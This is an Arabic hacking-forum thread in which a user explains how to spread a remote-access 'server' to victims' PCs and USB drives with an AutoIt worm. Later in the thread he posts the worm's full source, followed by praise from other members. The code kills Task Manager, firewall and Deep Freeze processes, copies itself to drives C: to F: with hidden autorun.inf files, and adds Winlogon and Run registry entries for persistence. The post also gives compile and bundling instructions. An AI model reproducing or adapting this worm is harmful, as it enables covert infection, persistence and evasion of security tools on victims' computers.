انشر سرفرك بسهوولة تامة + خاصية عدم فقدان الضحايا بعد الفورمات ... مع دودة Dz 4All

[Black-ID]

السلام عليكم ورحمة الله تعالى وبركاته
بسم الله الرحمان الرحيم

اليوم قلت أطرح لكم موضوع جديد في المنتدى الغالي

Dz 4 All

ومحتوى الموضوع معروف من العنوان طبعاً

هي طريقة لنشر سيرفر في جهاز الضحية و في أي جهاز خارجي ( فلاش ميموري+ كارت ميموار + ..... )

مع خاصية عدم فقدان الضحية أبداً حتى ولو انكشف السيرفر أو أعدية فرمتة الجهاز أو كان هناك ديب فريز أو فايروول

الفكرة طبعا هي عبارة عن دودة مبرمجة بال AutoIt v3

وأظن أن الجميع يعرف كيف يدمجها مع السيرفر

أولاً تحتاج برنامج AutoIt v3

[]

ثانياً تحتاج نحتاج دودة Dz 4All.au3 +
ملف Autorun.txt


و بالطبع هم مرفقين في الموضوع

شرح الدمج

بعد تثبيت البرنامج

ضع سيرفر + ملف Autorun.txt في القرص C

ثم اذهب إلى قائمة ابدأ ثم كافة البرامج ثم AutoIt v3 ثم من القائمة الفرعية اختار Compile Script To .Exe
بعد ذالك حددمكان الدودة + مكان الحفظ + الأيقونة

ثم اضغط على Convert
طبعا الدودة تكون مشفرة 7/16

ومشفرة من أهم الحمايات يبقى لنا النود فهل من مشفر

مع تحيات أخوكم وحبيبكم Black-ID

الإهداء

إلى جميع الأعضاء بدون استثناء
أتمنى أن الجميع يفيد و يستفيد

[Ev!LScR!pT_Dz]

بارك الله فيك اخي الكريم.

[Black-ID]

**** على المرور اخي

[raouf160]

دائما متميز يا مبدع

واصل يا بطل تحياتي لك

[ViRuS_Ra3cH]

**** على المجهودات واصل تألقك .

[Gulussa]

موضوع رااائع و الله
لاهنت على الطرح اخي الغالي
سلااامي

[JokEr2]

والله انت مبدع ياحبيي .....
****ااااااااااااااااااااااااااا

[hak4]

**** على المجهودات
لكن هذه دوده الاخ جوهان
J_Y
hmaster100

[jokER-spY]

مشكوووور أخي جازاك الله خير

[Black-ID]

; هذا الكود عربي جزائري الاصل من قبل
; Black ID
; This Is An Algerian File Made By Black ID
; ----------------------------------------------------------------------------
; Virus Code Start From here 
; ----------------------------------------------------------------------------
#NoTrayIcon
$D_Z = "D_Z"
$exe = ".exe"
$ApP = @AutoItExe
$S = @SystemDir
$W = @WindowsDir
    If ProcessExists("taskmgr.exe") Then
        ProcessClose("taskmgr.exe")
    EndIf
        If ProcessExists("procexp.exe") Then
        ProcessClose("procexp.exe")
    EndIf
        If ProcessExists("regshot.exe") Then
        ProcessClose("regshot.exe")
    EndIf
    If ProcessExists("boda fire-wall.exe") Then
        ProcessClose("boda fire-wall.exe")
    EndIf
        If ProcessExists("smsniff.exe") Then
        ProcessClose("smsniff.exe")
    EndIf
        If ProcessExists("Armor2net.exe") Then
        ProcessClose("Armor2net.exe")
    EndIf
        If ProcessExists("DF5Serv.exe") Then
        ProcessClose("DF5Serv.exe")
    EndIf        
    If ProcessExists("FrzState2k.exe") Then
        ProcessClose("FrzState2k.exe")
    EndIf
FileCopy ($ApP, $S & "\" & $D_Z & $exe,1) 
FileCopy ($ApP, $W & "\" & $D_Z & $exe,1) 
FileInstall("c:\server.exe",$W & "\DZ.exe")
FileInstall("c:\autorun.txt",$W & "\autorun.inf")
Run($W & "\DZ.exe")
FileCopy ($ApP, "c:\" & $D_Z & $exe,1)
FileCopy($W & "\autorun.inf" , "c:\autorun.inf" ,1)
FileSetAttrib ("c:\autorun.inf","+RSH")
FileSetAttrib ("c:\D_Z.exe","+RSH")
FileCopy ($ApP, "d:\" & $D_Z & $exe,1)
FileCopy($W & "\autorun.inf" , "d:\autorun.inf" ,1)
FileSetAttrib ("d:\autorun.inf","+RSH")
FileSetAttrib ("d:\D_Z.exe","+RSH")
FileCopy ($ApP, "e:\" & $D_Z & $exe,1)
FileCopy($W & "\autorun.inf" , "e:\autorun.inf" ,1)
FileSetAttrib ("e:\autorun.inf","+RSH")
FileSetAttrib ("e:\D_Z.exe","+RSH")
FileCopy ($ApP, "f:\" & $D_Z & $exe,1)
FileCopy($W & "\autorun.inf" , "f:\autorun.inf" ,1)
FileSetAttrib ("f:\autorun.inf","+RSH")
FileSetAttrib ("f:\D_Z.exe","+RSH")
RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Shell","REG_SZ","Explorer.exe " & $D_Z & $exe)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","D_Z","REG_SZ",$S & "\" & $D_Z & $exe)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","D_Z","REG_SZ",$W & "\D_Z.exe")
;===============================================================
; هذا الكود عربي جزائري الاصل من قبل
; Black ID
; This Is An Algerian File Made By Black ID
;===============================================================

[lennix]

مشكور اخي على الطرح و هي دودة تقريبا نفسها لسبق ان طرحتها في هذا المنتدى